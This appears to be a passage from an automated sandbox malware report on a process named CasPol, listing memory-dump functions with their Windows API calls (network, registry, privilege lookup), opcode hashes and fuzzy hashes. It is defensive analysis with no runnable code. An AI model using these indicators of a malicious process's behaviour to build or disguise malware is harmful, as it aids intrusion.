GetAdaptersAddresses.IPHLPAPI(?,00000EA8,C50AF18B,00000000,00000000,00000000,00000000), ref: 370F16AD

Memory Dump Source

Source File: 00000007.00000002.52561344581.00000000370F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 370F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370f0000_CasPol.jbxd

Similarity

API ID: AdaptersAddresses
String ID:
API String ID: 2506852604-0
Opcode ID: b25e80548fdb8871e3bcd7d317eabb1350b928bc17b4c46dbfa12a7cee25f695
Instruction ID: e9b3628910268cf5154d9ebcb450a15a7788258890f13552d79d1121bd34ffa4
Opcode Fuzzy Hash: b25e80548fdb8871e3bcd7d317eabb1350b928bc17b4c46dbfa12a7cee25f695
Instruction Fuzzy Hash: FA110276500304AFE7208F01DC80FA6FBA8EF04724F08859AED448A651D776E549CBB2

Uniqueness

Uniqueness Score: -1.00%

Function 34B6A078 Relevance: 1.6, APIs: 1, Instructions: 54networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(?,?,?,?), ref: 34B6A0D5

Memory Dump Source

Source File: 00000007.00000002.52538916312.0000000034B6A000.00000040.00000800.00020000.00000000.sdmp, Offset: 34B6A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_34b6a000_CasPol.jbxd

Similarity

API ID: recv
String ID:
API String ID: 1507349165-0
Opcode ID: 1acb88519053b9c87dcb7dd4f4db28e2838c13e75401f1418a01a42295d669a1
Instruction ID: 84e16df140d3ed092dda5dd6d3c1c6743ac050c9456ea0cb0c319aae6382fc4f
Opcode Fuzzy Hash: 1acb88519053b9c87dcb7dd4f4db28e2838c13e75401f1418a01a42295d669a1
Instruction Fuzzy Hash: 6111C175509380AFDB12CF14DC84B52FFB4EF0A224F08C89EED858B252C275A518CB62

Uniqueness

Uniqueness Score: -1.00%

Function 370F099A Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

RasConnectionNotificationW.RASAPI32(?,00000EA8,C50AF18B,00000000,00000000,00000000,00000000), ref: 370F09F3

Memory Dump Source

Source File: 00000007.00000002.52561344581.00000000370F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 370F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370f0000_CasPol.jbxd

Similarity

API ID: ConnectionNotification
String ID:
API String ID: 1402429939-0
Opcode ID: 1bbad8c323b45df6d5590f85407ba2072f097ec880e67d5d626cf8b6a5dde0b0
Instruction ID: f56f03e34bc3c45969cffccd01f771fe73c9f0f1e9656f5fd518e3b78276685f
Opcode Fuzzy Hash: 1bbad8c323b45df6d5590f85407ba2072f097ec880e67d5d626cf8b6a5dde0b0
Instruction Fuzzy Hash: 6911E176500304AEE720CB11DD85FAAFBA8EF04724F0880AAED448B641E775A549CAB2

Uniqueness

Uniqueness Score: -1.00%

Function 34B6A982 Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(?,C50AF18B,00000000,?,?,?,?,?,?,?,?,6CCC3C68), ref: 34B6A9E0

Memory Dump Source

Source File: 00000007.00000002.52538916312.0000000034B6A000.00000040.00000800.00020000.00000000.sdmp, Offset: 34B6A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_34b6a000_CasPol.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: b05239bcaeb4fb71767feb4aeb70ec79f90a0744c02e4b8bdae1849ce3cf3e6e
Instruction ID: d2eccf427c5f07bab778631f73869317b8f7fce5a1ffc119609cf258098817cb
Opcode Fuzzy Hash: b05239bcaeb4fb71767feb4aeb70ec79f90a0744c02e4b8bdae1849ce3cf3e6e
Instruction Fuzzy Hash: EB118F759093C09FDB128B25DD94A52FFB4DF07224F0980DBDD858B263D269A909CB62

Uniqueness

Uniqueness Score: -1.00%

Function 34B6A2E6 Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(?,?,?), ref: 34B6A32E

Memory Dump Source

Source File: 00000007.00000002.52538916312.0000000034B6A000.00000040.00000800.00020000.00000000.sdmp, Offset: 34B6A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_34b6a000_CasPol.jbxd

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: b10e44b753b71046de821cd0e76cdba3ccc5b3039b869993bea38e3b69674a92
Instruction ID: e7842d0a5008f8830750356f54bed1a20051136328f08f1efbdf1698bd9c316b
Opcode Fuzzy Hash: b10e44b753b71046de821cd0e76cdba3ccc5b3039b869993bea38e3b69674a92
Instruction Fuzzy Hash: 43117076B00300DFEB50CF29D985756FBE8EF0A664F0884AADD45CB641D639E444CA61

Uniqueness

Uniqueness Score: -1.00%

Function 370F11D6 Relevance: 1.6, APIs: 1, Instructions: 53networkCOMMON

Download Yara Rule

APIs

GetNetworkParams.IPHLPAPI(?,00000EA8,C50AF18B,00000000,00000000,00000000,00000000), ref: 370F122C

Memory Dump Source

Source File: 00000007.00000002.52561344581.00000000370F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 370F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370f0000_CasPol.jbxd

Similarity

API ID: NetworkParams
String ID:
API String ID: 2134775280-0
Opcode ID: 40b9f6416209e3c1b337bfb49d8c2ea4bd3e37d4fbd230d17f7fa134628c0ee3
Instruction ID: 14042cac2a8dffddebcb71e1f482eb3c78e6316d0e179ed7748a33bc2b361a48
Opcode Fuzzy Hash: 40b9f6416209e3c1b337bfb49d8c2ea4bd3e37d4fbd230d17f7fa134628c0ee3
Instruction Fuzzy Hash: 66010436600304EEE750CF45DC84BAAF7A8EF04724F08809AED449B241D775A549CAB2

Uniqueness

Uniqueness Score: -1.00%

Function 34B6B4BA Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32(?,00000EA8,C50AF18B,00000000,00000000,00000000,00000000), ref: 34B6B50D

Memory Dump Source

Source File: 00000007.00000002.52538916312.0000000034B6A000.00000040.00000800.00020000.00000000.sdmp, Offset: 34B6A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_34b6a000_CasPol.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 3d2f4da9202ba815361c2962591cdf6973addb7ddae6d19192d690622430fe28
Instruction ID: c81b7b760c914aa5a1a47c980b0f342721d0bfb8862bc12876d1bb6eb6794b37
Opcode Fuzzy Hash: 3d2f4da9202ba815361c2962591cdf6973addb7ddae6d19192d690622430fe28
Instruction Fuzzy Hash: 4401D276604310AEE710CB15DC95BA6FBA8DF04728F08C09AED058B741E778E5498AB2

Uniqueness

Uniqueness Score: -1.00%

Function 370F1722 Relevance: 1.5, APIs: 1, Instructions: 49networkCOMMON

Download Yara Rule

APIs

WSAConnect.WS2_32(?,?,?,?,?,?,?), ref: 370F176E

Memory Dump Source

Source File: 00000007.00000002.52561344581.00000000370F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 370F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370f0000_CasPol.jbxd

Similarity

API ID: Connect
String ID:
API String ID: 3144859779-0
Opcode ID: 5e97365288bd874384796be555122c1458576e39b2add4bebfcb1afaa0b34c5d
Instruction ID: c18b5da772c1e2333b725f57d7e16212bb157bdead9099ea034c50dba212f213
Opcode Fuzzy Hash: 5e97365288bd874384796be555122c1458576e39b2add4bebfcb1afaa0b34c5d
Instruction Fuzzy Hash: 16115E369007009FEB20CF55D944B56FBF4EF08720F0888AADD498B622D736E458CF62

Uniqueness

Uniqueness Score: -1.00%

Function 370F080E Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

FormatMessageW.KERNEL32(?,00000EA8,?,?), ref: 370F085E

Memory Dump Source

Source File: 00000007.00000002.52561344581.00000000370F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 370F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370f0000_CasPol.jbxd

Similarity

API ID: FormatMessage
String ID:
API String ID: 1306739567-0
Opcode ID: bba86018802b762605a4c6cafce9f4d14c3499246edacff1a2d51ddf7d1432fb
Instruction ID: bcf9e13a8e769a35d290dfaa19b112cf5633bc873bd83a7588f702eee27ff2c6
Opcode Fuzzy Hash: bba86018802b762605a4c6cafce9f4d14c3499246edacff1a2d51ddf7d1432fb
Instruction Fuzzy Hash: 4201B172900200AFD310DF16DD82B66FBA8FB88A20F14816AED089B741D731B515CBF5

Uniqueness

Uniqueness Score: -1.00%

Function 370F19F2 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

K32GetModuleBaseNameW.KERNEL32(?,00000EA8,?,?), ref: 370F1A42

Memory Dump Source

Source File: 00000007.00000002.52561344581.00000000370F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 370F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370f0000_CasPol.jbxd

Similarity

API ID: BaseModuleName
String ID:
API String ID: 595626670-0
Opcode ID: dd131103990a54594d4546bb1af8bef484dafe43b05f4354c9dbcf6b5aca0486
Instruction ID: f4f6c243b373a21f87fe13c501784328f32a95ee326f80b77969300625c60762
Opcode Fuzzy Hash: dd131103990a54594d4546bb1af8bef484dafe43b05f4354c9dbcf6b5aca0486
Instruction Fuzzy Hash: 2D01B172900200AFD310DF16DD82B66FBA8FB88A20F14816AED089B741D731B515CBF5

Uniqueness

Uniqueness Score: -1.00%

Function 34B6AD3A Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

RasEnumConnectionsW.RASAPI32(?,00000EA8,?,?), ref: 34B6AD8A

Memory Dump Source

Source File: 00000007.00000002.52538916312.0000000034B6A000.00000040.00000800.00020000.00000000.sdmp, Offset: 34B6A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_34b6a000_CasPol.jbxd

Similarity

API ID: ConnectionsEnum
String ID:
API String ID: 3832085198-0
Opcode ID: d2c92612cc3ed17d405d07c8ad49d208667e712b9b07f2d50357c30139f24561
Instruction ID: 0da0c1061dc34bb49da89926511b7e1526e0a37f76b71e1ee7bafc5ae2042a67
Opcode Fuzzy Hash: d2c92612cc3ed17d405d07c8ad49d208667e712b9b07f2d50357c30139f24561
Instruction Fuzzy Hash: 3C01A272900200BBD310DF16DD82B22FBA8FB88A20F14815AED089BB41D371F555CBF6

Uniqueness

Uniqueness Score: -1.00%

Function 34B6AC66 Relevance: 1.5, APIs: 1, Instructions: 43registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNEL32(?,00000EA8,?,?), ref: 34B6ACB6

Memory Dump Source

Source File: 00000007.00000002.52538916312.0000000034B6A000.00000040.00000800.00020000.00000000.sdmp, Offset: 34B6A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_34b6a000_CasPol.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 44404faaa19bb5470e860087071c9988af4af42cacb5a8b0a296206dee469057
Instruction ID: acfcf0de9f7d1eff224975fbb2e14b9b918db8bd19892d2891167ef01d60c875
Opcode Fuzzy Hash: 44404faaa19bb5470e860087071c9988af4af42cacb5a8b0a296206dee469057
Instruction Fuzzy Hash: 0001A272900200BBD310DF16DD82B22FBA8FB88A20F14815AED089BB41D371F555CBF6

Uniqueness

Uniqueness Score: -1.00%

Function 34B6A9AE Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(?,C50AF18B,00000000,?,?,?,?,?,?,?,?,6CCC3C68), ref: 34B6A9E0

Memory Dump Source

Source File: 00000007.00000002.52538916312.0000000034B6A000.00000040.00000800.00020000.00000000.sdmp, Offset: 34B6A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_34b6a000_CasPol.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 93be8aefc1ccf5af5f3b7cc022679d0efe1ec79bcf96a8f6ab7c7d39be85a0c1
Instruction ID: 8b05c91c52d014171e39438b95009a270a287bb9ce9697b28a3de80f809844af
Opcode Fuzzy Hash: 93be8aefc1ccf5af5f3b7cc022679d0efe1ec79bcf96a8f6ab7c7d39be85a0c1
Instruction Fuzzy Hash: 52F0AF35A04340DFEB10CF05D985751FBA4EF09628F08C09ADD494B752D779A588CEA2

Uniqueness

Uniqueness Score: -1.00%

Function 36F29A08 Relevance: 1.4, Strings: 1, Instructions: 191COMMON

Download Yara Rule

Strings

4/Cl, xrefs: 36F29B4F

Memory Dump Source

Source File: 00000007.00000002.52560188772.0000000036F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 36F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_36f20000_CasPol.jbxd

Similarity

API ID:
String ID: 4/Cl
API String ID: 0-4065099906
Opcode ID: 455333d82946e2d32b679797b725f57112edc91a45f7b9e2cfcfd13eab65b1db
Instruction ID: b9eec8119e461ab77c41ef58f412223e3df963f8e60c9d112b9eff40c1773977
Opcode Fuzzy Hash: 455333d82946e2d32b679797b725f57112edc91a45f7b9e2cfcfd13eab65b1db
Instruction Fuzzy Hash: 0D619075F002148FDB18DBB9C454AEEBBF2AF88208F144439C506AB790DF349D06CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00D24E09 Relevance: 1.4, Strings: 1, Instructions: 175COMMON

Download Yara Rule

Strings

\OCl, xrefs: 00D250FC

Memory Dump Source

Source File: 00000007.00000002.52426914225.0000000000D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d20000_CasPol.jbxd

Similarity

API ID:
String ID: \OCl
API String ID: 0-1141478478
Opcode ID: f3ff51ad0bc780107832622a6bd542412b9cd3af185a115214c273a53d0e393c
Instruction ID: 74e53e1c86dd1c4e78ca47c7cb5cf7b15280912612817ae5279fb8c49c07f94a
Opcode Fuzzy Hash: f3ff51ad0bc780107832622a6bd542412b9cd3af185a115214c273a53d0e393c
Instruction Fuzzy Hash: 4081B074E052289FDB69DF69D850BDDBBB2AF89304F1080EAD94DA7250DB305E81CF85

Uniqueness

Uniqueness Score: -1.00%

Function 00D2745E Relevance: 1.4, Strings: 1, Instructions: 152COMMON

Download Yara Rule

Strings

\OCl, xrefs: 00D2763D

Memory Dump Source

Source File: 00000007.00000002.52426914225.0000000000D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d20000_CasPol.jbxd

Similarity

API ID:
String ID: \OCl
API String ID: 0-1141478478
Opcode ID: f936a56fd8b3e1ff04577f71ce7245150fe8aacbd101dba76dd2a727d94c5a46
Instruction ID: 522ecee69ab6a0aaf1433783dd15c7f16f96018ee695e11be7c3af01f5cbedcc
Opcode Fuzzy Hash: f936a56fd8b3e1ff04577f71ce7245150fe8aacbd101dba76dd2a727d94c5a46
Instruction Fuzzy Hash: F361CF74E052289FEB68DF69D891BDDBBB2AF89304F1080EAD54CA7250DB305E81CF55

Uniqueness

Uniqueness Score: -1.00%

Function 36F22043 Relevance: 1.3, Strings: 1, Instructions: 69COMMON

Download Yara Rule

Strings

P @, xrefs: 36F22092

Memory Dump Source

Source File: 00000007.00000002.52560188772.0000000036F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 36F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_36f20000_CasPol.jbxd

Similarity

API ID:
String ID: P @
API String ID: 0-1889899152
Opcode ID: 3de79283e3d50d6d6b3b63202681e7e602143bb9a23d6891e4d13f176d41fa28
Instruction ID: 3fd179e67d9ce31414346688ef0e39b8fccedfb044548165a6f4b55433e54de8
Opcode Fuzzy Hash: 3de79283e3d50d6d6b3b63202681e7e602143bb9a23d6891e4d13f176d41fa28
Instruction Fuzzy Hash: CE21D430A002498FDB00EF68D4446DEBFF2EF86309F00C429D5446B741DF75990ACBA2

Uniqueness

Uniqueness Score: -1.00%

Function 36F22048 Relevance: 1.3, Strings: 1, Instructions: 60COMMON

Download Yara Rule

Strings

P @, xrefs: 36F22092

Memory Dump Source

Source File: 00000007.00000002.52560188772.0000000036F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 36F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_36f20000_CasPol.jbxd

Similarity

API ID:
String ID: P @
API String ID: 0-1889899152
Opcode ID: b2224c6d2d3d70567e1e9c905208c25ad38b5d5ce3dc7ff95cb02206c8243cf5
Instruction ID: 0cb91698679156feee0028c775ee8097422e732c138f41df0716897eeaf59114
Opcode Fuzzy Hash: b2224c6d2d3d70567e1e9c905208c25ad38b5d5ce3dc7ff95cb02206c8243cf5
Instruction Fuzzy Hash: 6A217230A001199FD700EF69D44469EBBB2EF85349F00C425D1446B754DF75994ACBA6

Uniqueness

Uniqueness Score: -1.00%

Function 36F29C8B Relevance: 1.3, Strings: 1, Instructions: 37COMMON

Download Yara Rule

Strings

0]7, xrefs: 36F29CA3

Memory Dump Source

Source File: 00000007.00000002.52560188772.0000000036F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 36F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_36f20000_CasPol.jbxd

Similarity

API ID:
String ID: 0]7
API String ID: 0-1800414333
Opcode ID: a27c3260035cec4e5f516733b80022a83e9ed9949657c39e90492cf4ff7778b6
Instruction ID: 05e926d4bdb976afc67e154f2f3cd3a2e95a70ef55831b96afae609c12b2db9b
Opcode Fuzzy Hash: a27c3260035cec4e5f516733b80022a83e9ed9949657c39e90492cf4ff7778b6
Instruction Fuzzy Hash: 87F090373001186B9F095EA89810DEF7BEAEFC8260B04842AFA0983741DA32881197A1

Uniqueness

Uniqueness Score: -1.00%

Function 36F2A21B Relevance: .2, Instructions: 233COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.52560188772.0000000036F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 36F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_36f20000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f00ea251a6f511405b983784bd054f14f9ccaa0b8983ef44a5e82845187e1e8
Instruction ID: 0f829734b763bc68d4c2e691f94bc5aa0f0628deae8a85079d56104206724f46
Opcode Fuzzy Hash: 5f00ea251a6f511405b983784bd054f14f9ccaa0b8983ef44a5e82845187e1e8
Instruction Fuzzy Hash: 0AB1DE74E002298FEB68CF65C941BDDBBB2BB48314F0081EAD609A7790DB749E85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 36F29ED0 Relevance: .2, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.52560188772.0000000036F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 36F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_36f20000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 195cc62926c084b8b8ddfc437547a47786f7c2fd0fd68aabf168872f991113ac
Instruction ID: 21aeb2403e848ddb95fbc81aadc7aec91fc91dffe00b86cc09192e484b6cc4b4
Opcode Fuzzy Hash: 195cc62926c084b8b8ddfc437547a47786f7c2fd0fd68aabf168872f991113ac
Instruction Fuzzy Hash: 2861E275E01208DFEB04DFE9D881ADDBBF2EF89324F248529E518AB794DB3498058F11

Uniqueness

Uniqueness Score: -1.00%

Function 36F21D53 Relevance: .2, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.52560188772.0000000036F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 36F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_36f20000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52d74ad13fb7beb65a0e15257c2dc0f707e7d6676f14545832cf7adb41d74bf7
Instruction ID: 5e688eb6d2252817920cc9c1788d88a457052c18919bb3fbfa1e4ff45fa62cfc
Opcode Fuzzy Hash: 52d74ad13fb7beb65a0e15257c2dc0f707e7d6676f14545832cf7adb41d74bf7
Instruction Fuzzy Hash: 7E5105304603068FD710AF7885AC4AABFB5FF4F313B11AC66E51AA2115DB386547CA79

Uniqueness

Uniqueness Score: -1.00%

Function 36F21D58 Relevance: .2, Instructions: 165COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.52560188772.0000000036F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 36F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_36f20000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c184b2b987547bcdbd025c4119e2431d8d72da3116b41e7613cb90c43f5fca5
Instruction ID: 1861d04e851bb67a443bbb11b422f99871d1dd6477c3298b6142149cd1e59d21
Opcode Fuzzy Hash: 4c184b2b987547bcdbd025c4119e2431d8d72da3116b41e7613cb90c43f5fca5
Instruction Fuzzy Hash: 4C51F4304603068FD710AF7885AC4AABF75FF4F313B01AC66E91AA3115DB386547CA79

Uniqueness

Uniqueness Score: -1.00%

Function 36F20F13 Relevance: .1, Instructions: 141COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.52560188772.0000000036F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 36F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_36f20000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3febae271bd23dbc95e7f987c82d5cda42105f944353d4c7ac388312d187fe73
Instruction ID: 7320f634551b9099aa24bca06187e7eeefab37eec25cd91fcb4bfe926d3f1090
Opcode Fuzzy Hash: 3febae271bd23dbc95e7f987c82d5cda42105f944353d4c7ac388312d187fe73
Instruction Fuzzy Hash: 76518F74E01248DFCB18DFB9D48099DBBF2FF89305B20916AD809AB754DB319886CF54

Uniqueness

Uniqueness Score: -1.00%

Function 36F2A840 Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.52560188772.0000000036F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 36F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_36f20000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f39a8f297a9fa4f8bc5060d52f45d8b9c760f467f8204c82498cfc85b0b82162
Instruction ID: 010c80c95f8b016c92f7d73f0a03c36c34bf4c5563c7a7b6c6f1cf654297b428
Opcode Fuzzy Hash: f39a8f297a9fa4f8bc5060d52f45d8b9c760f467f8204c82498cfc85b0b82162
Instruction Fuzzy Hash: 24518F74E012089FDB08DFE9C995AEDBBB2FF88304F148029E815AB754DB355946CF51

Uniqueness

Uniqueness Score: -1.00%

Function 36F2A850 Relevance: .1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.52560188772.0000000036F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 36F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_36f20000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7249d17c974aeb770d18681c2ff8ea401d4c5e757847c443b82f3ca6feb7954f
Instruction ID: f201baa7e5a58f9ec82cd45e0007ed02fb11e33c9fa83165000ee96b2c3c540c
Opcode Fuzzy Hash: 7249d17c974aeb770d18681c2ff8ea401d4c5e757847c443b82f3ca6feb7954f
Instruction Fuzzy Hash: D6517D74E002089FDB08DFE9C995AEEBBB2FF88304F148029E815AB754DB355946CF51

Uniqueness

Uniqueness Score: -1.00%

Function 36F29A04 Relevance: .1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.52560188772.0000000036F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 36F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_36f20000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66bd1b3bebfc9ef645764d93f628e6531d0b73f9c280da98abe2f7707f70fdb9
Instruction ID: 0937ca2b8c2bfcf0486d5a871dfa881f061c66d310f2303f0a37f12561324519
Opcode Fuzzy Hash: 66bd1b3bebfc9ef645764d93f628e6531d0b73f9c280da98abe2f7707f70fdb9
Instruction Fuzzy Hash: 70415D75E012099FDB18DFA6D890ADEBBB2AF88304F108439D505BB750DB34AD05CF91

Uniqueness

Uniqueness Score: -1.00%

Function 36F2A693 Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.52560188772.0000000036F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 36F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_36f20000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a24490f1788179608de62c8ca9996017af41a0270378598fc71e9c3241c34d0d
Instruction ID: 3443ad93712a4c5e9cf9aeff34ab2528cb38f9490713fa64b18cfbb96dd04497
Opcode Fuzzy Hash: a24490f1788179608de62c8ca9996017af41a0270378598fc71e9c3241c34d0d
Instruction Fuzzy Hash: 2D519CB8E01218DFDB04DFA9D484AEEBBF2BF48314F10852AD815AB354DB749A45CF91

Uniqueness

Uniqueness Score: -1.00%

Function 36F2A698 Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.52560188772.0000000036F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 36F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_36f20000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4097e555fae8d1f9100686f4c8c665e22cd187936e6fe1bd974ae80b6eccfb93
Instruction ID: f0ecf1aeb893ae822a00ce0e209fbeb93dbbbca935b30e1d2e28e502c5191d88
Opcode Fuzzy Hash: 4097e555fae8d1f9100686f4c8c665e22cd187936e6fe1bd974ae80b6eccfb93
Instruction Fuzzy Hash: 7A519DB8E01218DFDB04DFA9D484AEEBBF2BF48314F10852AD815AB354DB749A45CF91

Uniqueness

Uniqueness Score: -1.00%

Function 36F217D8 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.52560188772.0000000036F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 36F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_36f20000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 799a6301b6a6c2f0ee7596a99c5955abeb577b77afbf2c4cc17351dede19e2bc
Instruction ID: 01bf2980a230285506b94593b3878c644cf033f72347c4b0d6118be593f5f51b
Opcode Fuzzy Hash: 799a6301b6a6c2f0ee7596a99c5955abeb577b77afbf2c4cc17351dede19e2bc
Instruction Fuzzy Hash: 4141AE74D01218DFDB18DFAAD494A9EBFB2BF88304F20842AE505AB754DB349986CF54

Uniqueness

Uniqueness Score: -1.00%

Function 36F2B868 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.52560188772.0000000036F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 36F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_36f20000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1773ff03bf5ea9f9846ee1f300c179f8fc644de5138806f420c0a1061cb40859
Instruction ID: 939231a603b290f44c76d2cc8e1432ae49996e77849d07cee0f19da7927ded89
Opcode Fuzzy Hash: 1773ff03bf5ea9f9846ee1f300c179f8fc644de5138806f420c0a1061cb40859
Instruction Fuzzy Hash: 65418D78E01258DFDB08DFA5D894A9DBBB2FF49308F208429E805BB354DB75584ACF50

Uniqueness

Uniqueness Score: -1.00%

Function 36F2B250 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.52560188772.0000000036F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 36F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_36f20000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93e6287f286c46528d3cd42502eec5ffae4520ea320ca11dc336839a7fc04b4e
Instruction ID: b738578b773c248a9ee706238e5cc92b3149d4423bae2fa53d8180c8168db935
Opcode Fuzzy Hash: 93e6287f286c46528d3cd42502eec5ffae4520ea320ca11dc336839a7fc04b4e
Instruction Fuzzy Hash: 5541F074E01318DFEB08DFE9C85499EBBB2BF89308F108429D806AB654DB35684ACF55

Uniqueness

Uniqueness Score: -1.00%

Function 36F217D3 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.52560188772.0000000036F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 36F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_36f20000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e0f6e4141c03523a6b15f6bccc45deb43528d089e52954b3e7f21afc8e8b9f5
Instruction ID: ce7696297224bb8a1874ed2f0d0168c733e509dd2b7e90c94e404a96a229f2a1
Opcode Fuzzy Hash: 7e0f6e4141c03523a6b15f6bccc45deb43528d089e52954b3e7f21afc8e8b9f5
